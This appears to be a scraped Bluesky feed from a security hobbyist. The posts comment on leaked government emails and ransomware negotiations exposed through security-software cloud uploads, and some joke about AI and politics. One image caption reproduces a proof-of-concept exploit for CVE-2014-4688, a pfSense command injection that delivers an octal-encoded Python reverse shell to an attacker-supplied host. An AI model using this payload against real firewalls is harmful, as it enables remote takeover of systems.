@cyberworm.uk
incompetent computer user
https://cyberworm.uk/
https://codeberg.org/cyberworm-uk
https://github.com/cyberworm-uk
https://cyberworm.uk/
https://codeberg.org/cyberworm-uk
https://github.com/cyberworm-uk
Shitty people but also "performing other annoying stuff" is a really funny thing to say.
January 23, 2026 at 5:31 AM
Shitty people but also "performing other annoying stuff" is a really funny thing to say.
Today on things anti-virus and security software puts in the cloud for all to see that it really shouldn't.
Negotiations between you and a ransomware group.
Negotiations between you and a ransomware group.
January 23, 2026 at 5:23 AM
Today on things anti-virus and security software puts in the cloud for all to see that it really shouldn't.
Negotiations between you and a ransomware group.
Negotiations between you and a ransomware group.
Today in things anti-virus and security software puts in the cloud for all to see that it really shouldn't.
A government employee's complaint against a superior.
A summary of a security incident in which a senior employee at an insurance provider's account was breached.
A government employee's complaint against a superior.
A summary of a security incident in which a senior employee at an insurance provider's account was breached.
![A Security Incident Summary from BlueTower Technical advising [REDACTED] that one of their employees Microsoft 365 accounts was phished and accessed from Lithuania.](https://cdn.bsky.app/img/feed_thumbnail/plain/did:plc:2hhz3iikioelixxe73cdxxuu/bafkreiegqlzvcgnulmg3c4c7hq2dev6xfprze2622zphqs56jk6igfv7f4@jpeg)
January 22, 2026 at 4:01 AM
Today in things anti-virus and security software puts in the cloud for all to see that it really shouldn't.
A government employee's complaint against a superior.
A summary of a security incident in which a senior employee at an insurance provider's account was breached.
A government employee's complaint against a superior.
A summary of a security incident in which a senior employee at an insurance provider's account was breached.
and this is why *your threat model* isn't *some CISO's threat model* and you want to listen to domain experts from your domain rather than blanket solution listicles.
January 21, 2026 at 3:41 PM
and this is why *your threat model* isn't *some CISO's threat model* and you want to listen to domain experts from your domain rather than blanket solution listicles.
Stumbled upon some true crazy.
AI becoming the aesthetic of "gang stalking" type beliefs is telling, I think.
AI becoming the aesthetic of "gang stalking" type beliefs is telling, I think.
January 21, 2026 at 12:33 PM
Stumbled upon some true crazy.
AI becoming the aesthetic of "gang stalking" type beliefs is telling, I think.
AI becoming the aesthetic of "gang stalking" type beliefs is telling, I think.
If you're putting this on the articles on your website, you're telling me that you have no faith in what you've written.
Why would I waste my time reading it (even a slop summary) if you don't think it's worth my time?
Why would I waste my time reading it (even a slop summary) if you don't think it's worth my time?
January 20, 2026 at 1:17 PM
If you're putting this on the articles on your website, you're telling me that you have no faith in what you've written.
Why would I waste my time reading it (even a slop summary) if you don't think it's worth my time?
Why would I waste my time reading it (even a slop summary) if you don't think it's worth my time?
bro is doing "reply-all" on the diplomatic training seminar email because he can't connect on zoom 😔
January 20, 2026 at 10:47 AM
bro is doing "reply-all" on the diplomatic training seminar email because he can't connect on zoom 😔
Starmer pictured here "playing a blinder", as they say.
January 20, 2026 at 7:39 AM
Starmer pictured here "playing a blinder", as they say.
We've created the Torment Nexus from the 2002 Spielberg film Don't Create The Torment Nexus.
January 20, 2026 at 6:27 AM
We've created the Torment Nexus from the 2002 Spielberg film Don't Create The Torment Nexus.
Account reactivates after 2 years of inactivity to defend this scam. Tags a 0 follower, 0 posts sock account in the replies also.
January 19, 2026 at 1:08 AM
Account reactivates after 2 years of inactivity to defend this scam. Tags a 0 follower, 0 posts sock account in the replies also.
And another.
They really didn't like someone just calling it out as a scam, huh?
They really didn't like someone just calling it out as a scam, huh?
January 19, 2026 at 12:39 AM
And another.
They really didn't like someone just calling it out as a scam, huh?
They really didn't like someone just calling it out as a scam, huh?
Incredible stuff.
"I made this account 15 minutes ago, let me assure you, this isn't a scam!"
"I made this account 15 minutes ago, let me assure you, this isn't a scam!"
January 19, 2026 at 12:33 AM
Incredible stuff.
"I made this account 15 minutes ago, let me assure you, this isn't a scam!"
"I made this account 15 minutes ago, let me assure you, this isn't a scam!"
A particular interest of mine is trying to figure out where code shown in TV programs comes from whenever I see it.
Saw this in Bosch, some garbled python code which doesn't quite make sense, like it was poorly OCR'd. Was able to match it to a POC exploit for CVE-2014-4688.
Saw this in Bosch, some garbled python code which doesn't quite make sense, like it was poorly OCR'd. Was able to match it to a POC exploit for CVE-2014-4688.
![Python code for CVE-2014-4688, as follows:
username = "rohit"
password = "pfsense"
# command to be converted into octal
command = """
python -c 'import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("%s",%s));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);'
""" % (lhost, lport)
payload = ""
# encode payload in octal
for char in command:
payload += ("\\" + oct(ord(char)).lstrip("0o"))
login_url = 'https://' + rhost + '/index.php'
exploit_url = "https://" + rhost + "/status_rrd_graph_img.php?database=queues;"+"printf+" + "'" + payload + "'|sh"](https://cdn.bsky.app/img/feed_thumbnail/plain/did:plc:2hhz3iikioelixxe73cdxxuu/bafkreihtxlngniizpk7eoqhhcqtgy6kdcg52u7dqiouppjoni3whiquybm@jpeg)
January 17, 2026 at 4:34 AM
A particular interest of mine is trying to figure out where code shown in TV programs comes from whenever I see it.
Saw this in Bosch, some garbled python code which doesn't quite make sense, like it was poorly OCR'd. Was able to match it to a POC exploit for CVE-2014-4688.
Saw this in Bosch, some garbled python code which doesn't quite make sense, like it was poorly OCR'd. Was able to match it to a POC exploit for CVE-2014-4688.
January 16, 2026 at 8:12 PM
Still happening.
![9 │ Received: from CY1USG02FT014.eop-usg02.itar.protection.office365.us
10 │ (2001:489a:2202:5::200) by BN1P110CA0041.office365.us
11 │ (2001:489a:200:130::26) with Microsoft SMTP Server (version=TLS1_2,
12 │ cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.20.9520.6 via Frontend
13 │ Transport; Thu, 15 Jan 2026 20:39:21 +0000
14 │ Received: from mx.doj.gov (149.101.196.14) by
15 │ CY1USG02FT014.mail.protection.office365.us (10.97.26.96) with Microsoft
16 │ SMTP Server (version=TLS1_2, cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384)
17 │ id 15.20.9499.1 via Frontend Transport; Thu, 15 Jan 2026 20:39:21 +0000
18 │ Received: from DJJMDCJC02-EX8500-5.localdomain ([10.187.137.85]) by
19 │ pp-cefe-02.mail.doj.gov (8.18.1.2/8.18.1.2) with ESMTP id 60FKdJlS028988
20 │ for <[REDACTED]@usdoj.gov>; Thu, 15 Jan 2026 20:39:20 GMT
21 │ Received: from localhost.localdomain (localhost [127.0.0.1]) by](https://cdn.bsky.app/img/feed_thumbnail/plain/did:plc:2hhz3iikioelixxe73cdxxuu/bafkreiej3kszjsrvdki6tsglznoejrdv4inn4qdr6nrpix45wv2msgpbdu@jpeg)
January 15, 2026 at 11:32 PM
Still happening.
Snow Crash is the Torment Nexus of our present moment.
January 13, 2026 at 8:32 PM
Snow Crash is the Torment Nexus of our present moment.
Tech people re-inventing FALC with Elon Musk Characteristics.
With their utopia based around the belief that a technology, that isn't sustainable, is a panacea and that they'll get UBI just as soon as the means of production is fully handed over to tech oligarchs.
Yelling certainly isn't enough.
With their utopia based around the belief that a technology, that isn't sustainable, is a panacea and that they'll get UBI just as soon as the means of production is fully handed over to tech oligarchs.
Yelling certainly isn't enough.
January 10, 2026 at 7:54 PM
Tech people re-inventing FALC with Elon Musk Characteristics.
With their utopia based around the belief that a technology, that isn't sustainable, is a panacea and that they'll get UBI just as soon as the means of production is fully handed over to tech oligarchs.
Yelling certainly isn't enough.
With their utopia based around the belief that a technology, that isn't sustainable, is a panacea and that they'll get UBI just as soon as the means of production is fully handed over to tech oligarchs.
Yelling certainly isn't enough.
this still seems to be happening, finding out about US government agencies I didn't know existed because some of their email is ending up where it (surely?) shouldn't.
![Received: from usgovtexas0.notifyp.svc.ms ([REDACTED]) by
[REDACTED] ([REDACTED]) with Microsoft
SMTP Server (version=TLS1_3, cipher=TLS_AES_256_GCM_SHA384) id [REDACTED]
via Frontend Transport; Sat, 10 Jan 2026 01:00:58 +0000
From: SharePoint Online <no-reply@sharepointonline.com>
To: "[REDACTED] (IHS/BEM/AO)" <[REDACTED]@ihs.gov>
Subject: Your Teams meeting recording has expired and is now deleted
Thread-Topic: Your Teams meeting recording has expired and is now deleted
Thread-Index: [REDACTED]
X-MS-Exchange-MessageSentRepresentingType: 1
Date: Sat, 10 Jan 2026 01:00:57 +0000](https://cdn.bsky.app/img/feed_thumbnail/plain/did:plc:2hhz3iikioelixxe73cdxxuu/bafkreicd5jemmys7b7l4ejy3vfvnaekmyfa522ffdaagoljbr2jsuvycxy@jpeg)
January 10, 2026 at 6:36 PM
this still seems to be happening, finding out about US government agencies I didn't know existed because some of their email is ending up where it (surely?) shouldn't.
It's probably fine for password reset request emails for Bureau of Prisons addresses to end up there, right?
Someone seems to have ticked exactly the wrong box somewhere...
Someone seems to have ticked exactly the wrong box somewhere...
![From: [REDACTED]
To: [REDACTED]@bop.gov
Date: 9 Jan 2026 14:01:56 -0700
Subject: [EXTERNAL] Password Change Request Confirmation
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: quoted-printable
Message-ID: [REDACTED]
X-OriginalArrivalTime: 09 Jan 2026 21:01:56.0207 (UTC)](https://cdn.bsky.app/img/feed_thumbnail/plain/did:plc:2hhz3iikioelixxe73cdxxuu/bafkreict6qir3oalli4h5w3ye64cflqghefqd4wpgnvrfzopc4gwomnh74@jpeg)
January 9, 2026 at 9:42 PM
It's probably fine for password reset request emails for Bureau of Prisons addresses to end up there, right?
Someone seems to have ticked exactly the wrong box somewhere...
Someone seems to have ticked exactly the wrong box somewhere...
seems like a crazy thing to accidentally expose to the public internet but I'm not the USDOJ, so maybe I'm wrong.
January 9, 2026 at 9:36 PM
seems like a crazy thing to accidentally expose to the public internet but I'm not the USDOJ, so maybe I'm wrong.
